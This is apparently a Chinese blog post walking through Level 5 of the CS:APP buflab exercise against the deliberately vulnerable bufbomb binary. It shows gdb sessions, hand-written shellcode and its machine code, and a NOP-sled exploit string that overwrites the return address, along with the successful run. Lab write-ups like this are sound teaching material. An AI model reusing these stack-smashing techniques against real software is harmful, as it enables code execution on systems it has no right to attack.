您好,登錄后才能下訂單哦!
Level 5 Nitroglycerin (10 分)
題目說明:這一關(guān)是一道加分題。在bufbomb程序中還有一個'-n'的選項(xiàng),使用這個選項(xiàng)時,bufbomb會運(yùn)行Nitro模式,此時程序不會調(diào)用getbuf,而是調(diào)用getbufn:
int getbufn() { char buf[512]; Gets(buf); return 1; }
這個函數(shù)與getbuf所不同的是,分配了512字節(jié)的字符數(shù)組,而調(diào)用getbufn的函數(shù)會在棧中隨機(jī)分配一段存儲區(qū),這導(dǎo)致getbufn使用的棧基址EBP隨機(jī)變化。此外,在Nitro模式運(yùn)行時,bufbomb會要求提供5次輸入字符串,每一次都要求getbufn的返回值為實(shí)驗(yàn)者的cookie。
與Level4相同,但要求提供同一個exploit string,在getbufn被調(diào)用5次后,最終返回到testn函數(shù)中,且不能破壞testn的堆棧狀態(tài),并使返回值為cookie。
解法:
由于getbufn函數(shù)棧的EBP不固定,每一次buf都不相同,我們先進(jìn)行采樣,觀察其變化規(guī)律。
(gdb) disass getbufn Dump of assembler code for function getbufn: 0x08048a60 <getbufn+0>: push %ebp 0x08048a61 <getbufn+1>: mov %esp,%ebp 0x08048a63 <getbufn+3>: sub $0x208,%esp 0x08048a69 <getbufn+9>: add $0xfffffff4,%esp 0x08048a6c <getbufn+12>: lea 0xfffffe00(%ebp),%eax 0x08048a72 <getbufn+18>: push %eax 0x08048a73 <getbufn+19>: call 0x8048b50 <Gets> 0x08048a78 <getbufn+24>: mov $0x1,%eax 0x08048a7d <getbufn+29>: mov %ebp,%esp 0x08048a7f <getbufn+31>: pop %ebp 0x08048a80 <getbufn+32>: ret End of assembler dump. (gdb) b *0x8048a72 注:在調(diào)用Gets前下斷點(diǎn) Breakpoint 1 at 0x8048a72 (gdb) run -n -t heen 以Nitro模式運(yùn)行 Starting program: /root/Desktop/buflab/bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 以16進(jìn)制打印buf $1 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $2 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $3 = 0xbfffaec8 (gdb) cont Continuing. Type string:hello again again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $4 = 0xbfffae98 (gdb) cont Continuing. Type string:dfafafaf Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $5 = 0xbfffaec8 (gdb) p $ebp+0xfffffe00-$ebp $6 = -512 (gdb) cont Continuing. Type string:fdfdfdfdfff Dud: getbufn returned 0x1 Better luck next time Program exited normally.
在getbufn被調(diào)用5次時,buf分別為0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我們打印了一下buf與EBP之間的偏移,正好為buf分配的512字節(jié)。堆棧布局如圖所示。
由于buf分配了足夠的存儲空間(512字節(jié)),而且buf本身隨機(jī)變化,因此我們考慮在實(shí)際的shellcode前加上NOP Sled(空指令雪撬),然后提供一個buf在getbufn5次調(diào)用中的最大地址覆蓋ret,這樣可保證ret指向EBP與實(shí)際buf之間的NOP Sled區(qū),這樣保證通過NOP空指令滑行,最終執(zhí)行shellcode。
另外一個需要注意的地方是恢復(fù)調(diào)用函數(shù)testn的堆棧狀態(tài),由于EBP不固定,不能向Level 4那樣在exploit string中填入SFP,需要在shellcode中設(shè)置。
總結(jié)一下,編寫shellcode需要(1)恢復(fù)SFP;(2)設(shè)置getbufn返回值為cookie;(3)跳轉(zhuǎn)到testn中調(diào)用getbufn后的下一指令地址。
反匯編testn
(gdb) disass testn Dump of assembler code for function testn: 0x08048a84 <testn+0>: push %ebp 0x08048a85 <testn+1>: mov %esp,%ebp 0x08048a87 <testn+3>: sub $0x18,%esp ; %ebp=%esp+0x18 0x08048a8a <testn+6>: movl $0xdeadbeef,0xfffffffc(%ebp) 0x08048a91 <testn+13>: call 0x8048a60 <getbufn> 0x08048a96 <testn+18>: mov %eax,%edx ;shellcode需要返回到的地址 0x08048a98 <testn+20>: mov 0xfffffffc(%ebp),%eax 0x08048a9b <testn+23>: cmp $0xdeadbeef,%eax 0x08048aa0 <testn+28>: je 0x8048ab1 <testn+45> 0x08048aa2 <testn+30>: add $0xfffffff4,%esp 0x08048aa5 <testn+33>: push $0x8049440 0x08048aaa <testn+38>: call 0x8048748 <printf@plt> 0x08048aaf <testn+43>: jmp 0x8048ae1 <testn+93> 0x08048ab1 <testn+45>: cmp 0x804aa50,%edx 0x08048ab7 <testn+51>: jne 0x8048ad3 <testn+79> 0x08048ab9 <testn+53>: add $0xfffffff8,%esp 0x08048abc <testn+56>: push %edx 0x08048abd <testn+57>: push $0x80494c0 0x08048ac2 <testn+62>: call 0x8048748 <printf@plt> 0x08048ac7 <testn+67>: add $0xfffffff4,%esp 0x08048aca <testn+70>: push $0x4 0x08048acc <testn+72>: call 0x8048c30 <validate> ---Type <return> to continue, or q <return> to quit---
由于我們只覆蓋了getbufn在堆棧中的SFP和RET,不會影響ESP,可以反推testn堆棧中的ebp(即getbufn的SFP)為esp+0x18。通過這些信息,編寫shellcode,并獲得其十六進(jìn)制的機(jī)器碼
[root@localhost buflab]# cat exploit5_shellcode.s leal 0x18(%esp),%ebp movl $0x5573b7cf,%eax pushl $0x8048a96 ret [root@localhost buflab]# gcc -c exploit5_shellcode.s [root@localhost buflab]# objdump -d exploit5_shellcode.o exploit5_shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 8d 6c 24 18 lea 0x18(%esp),%ebp 4: b8 cf b7 73 55 mov $0x5573b7cf,%eax 9: 68 96 8a 04 08 push $0x8048a96 e: c3 ret
上述shellcode的機(jī)器碼包括15個字節(jié),我們還需要在其前面填入512 -15 = 497個NOP(90)。
編寫497個空格間斷的90是一件痛苦的事,幸好我們有perl來幫我們完成
[root@localhost buflab]# perl -e 'print "90 " x 497;'> exploit5.txt
當(dāng)然perl還可直接生成exploit string,由于有sendstring程序,此處不表。
接著編輯exploit5.txt,在最后一個90后填入。
90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf
<-497個->
上面的4個61為覆蓋SFP的地方,由于我們shellcode中做了設(shè)置,因此此處可為任意字節(jié)(除回車和nul),最后緊跟我們實(shí)驗(yàn)中獲得的buf 的最大地址0xbffffaec8。
運(yùn)行
[root@localhost buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf NICE JOB!
在getbufn調(diào)用5次后,滿足了題目要求。
總結(jié):
上述5關(guān)前前后后做了一個月,盡管以前對棧的緩沖區(qū)溢出有所理解,但當(dāng)真正實(shí)踐起來又是另外一回事,也并非如記錄中的那樣一帆風(fēng)順、信手捻來,而是走了無數(shù)的彎路以后才理解、并應(yīng)用了正確的方法、得出了最后的結(jié)果,正所謂"紙上得來終覺淺,絕知此事要躬行",在信息安全這樣一個實(shí)戰(zhàn)性極強(qiáng)的領(lǐng)域里,更需要實(shí)實(shí)在在地耕耘下去。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。